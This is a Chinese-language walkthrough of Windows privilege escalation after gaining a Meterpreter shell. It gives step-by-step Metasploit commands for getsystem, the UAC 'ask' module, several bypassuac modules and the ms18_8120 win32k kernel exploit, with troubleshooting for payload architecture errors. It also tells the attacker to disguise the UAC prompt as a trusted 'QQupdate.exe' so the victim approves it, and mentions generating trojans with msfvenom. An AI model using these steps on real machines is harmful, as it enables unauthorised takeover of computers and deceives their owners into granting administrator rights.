拿到shell之后乱码解决
chcp 65001
#将编码设置为UTF-8的编码出现这个提示就是切换成功，后面也是可以正常显示的
提权
方法一：
新版本的kali直接getsystem，可以提权成功（有时候可以，有时候不可以）
meterpreter > getsystem
提权成功
方法二：
利用uac（用户账户控制）进行提权。
用户账户控制在涉及管理员权限的时候会提示你是否要这么做，确定的话就是以管理员的身份去运行；如果把他拉到从不通知，在涉及需要使用管理员权限的时候就会直接以管理员的身份去运行。
利用uac提权有两种情况
①关闭了通知。在这种情况下，就不需要目标主机进行确认，可以直接提权成功
②开启着通知（默认是开启的，除非手动关闭）。这种情况就需要目标主机去确认，才能进行提权成功。
use exploit/windows/local/ask
#使用windows的ask模块进行提权
search uac
#或者直接搜寻uac模块，找到ask也可以
msf6 exploit(windows/local/ask) > options
#进入模块后直接options查看需要进行哪一些配置
msf6 exploit(windows/local/ask) > set session 1
#设置我们要进行提权的会话
msf6 exploit(windows/local/ask) > set lport 5555
#这边的端口设置是随意的，不用跟session 1的端口一致
msf6 exploit(windows/local/ask) > set filename QQupdate.exe
#设置在目标主机uac弹出的名字，可以更改成一些比较可信的名称
#这里有一个要特别注意的点是需要在修改的文件名后面加上exe，不然在kali中攻击过程没显示报错，但是在目标主机中是弹不出uac窗口的
unset filename（或者其他配置名字）
#进行设置重置
msf6 exploit(windows/local/ask) > set technique PSH
#将设置成windows处理程序，可信度更高（原本是exe）
meterpreter > getsystem
#在目标主机确认之后会重新进入meterpreter模块，然后就可以获取计算机的管理权限
提权所生成的文件在目标主机的 C:\Users\ADMINI~1\AppData\Local\Temp
方法三：
利用bypassuac进行提权。
bypassuac这个是属于内核漏洞，有打补丁的话是不一定能成功的。
这些模块不一定每一个都可以使用，有一些是你系统不存在漏洞，有一些是你系统打了补丁
search bypassuac
#寻找可以绕过uac的脚本模块
msf6 exploit(windows/local/bypassuac_eventvwr) > use 0
#选择使用的模块，或者直接跟上模块的名称
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > options
#查看一下使用模块的配置，一般只需要设置会话
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set session 1
#设置要进行提权的会话
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > run
#直接运行等待结果
报错
1. payload的设置。
[-] Exploit aborted due to failure: bad-config: The payload should use the same architecture as the target。
如果存在这样的问题，那么就需要更改下payload，需要和你之前会话的payload配置保持相同。
2.[-] Exploit aborted due to failure: no-target: Session and Target arch must match
如果存在这样的报错就是存在windows的位数问题，他后面显示是X86的，我们之前用的是x64的payload。
在用msfvenom生成木马的时候可以不加x64进行木马生成，默认就是生成32位的程序。这样子就不会存在这种报错，不过这样子生成的程序容易存在兼容性问题，在主机中可能会直接进行提示兼容性问题，或者停止程序的运行
Exploit target:
Id Name
-- ----
0 Windows x86
方法四：
此方法适用于攻击服务器，windows主机很难实现
msf6 exploit(windows/local/bypassuac_eventvwr) > search ms18_8120_win
#查找漏洞
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > options
#查看一下要进行设置的配置
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > set session 1
#设置要使用的会话
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > run
#开始攻击
run -j
#后台运行
jobs
#查看监听（是否建立了会话）
